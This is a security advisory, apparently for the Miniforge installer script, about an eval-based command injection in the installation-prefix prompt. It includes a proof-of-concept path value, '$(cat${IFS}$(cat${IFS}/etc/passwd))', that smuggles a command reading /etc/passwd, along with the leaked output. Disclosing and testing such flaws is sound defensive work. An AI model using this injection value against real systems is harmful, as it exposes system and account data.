Impact

Shell installer scripts process the installation prefix (user_prefix) using an eval statement, which executes unsanitized user input as shell code. Although the script runs with user privileges (not root), an attacker could exploit this by injecting arbitrary commands through a malicious path during installation. Exploitation requires explicit user action (e.g., manually entering a malicious path), similar to self-XSS in browsers

[...]
Do you accept the license terms? [yes|no]
>>> yes

Miniforge3 will now be installed into this location:
/home/stamparm/miniforge3

  - Press ENTER to confirm the location
  - Press CTRL-C to abort the installation
  - Or specify a different location below

[/home/stamparm/miniforge3] >>> $(cat${IFS}$(cat${IFS}/etc/passwd))
cat: 'root:x:0:0:root:/root:/bin/bash': No such file or directory
cat: 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin': No such file or directory
cat: 'bin:x:2:2:bin:/bin:/usr/sbin/nologin': No such file or directory
cat: 'sys:x:3:3:sys:/dev:/usr/sbin/nologin': No such file or directory
cat: 'sync:x:4:65534:sync:/bin:/bin/sync': No such file or directory

Patches

Has the problem been patched? What versions should users upgrade to?

Coming. The fix is trivial.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Not typing the malicious path

References

Are there any links users can visit to find out more?

Discovered by Miniforge audits done by 7a Security in partnership with OSTIF.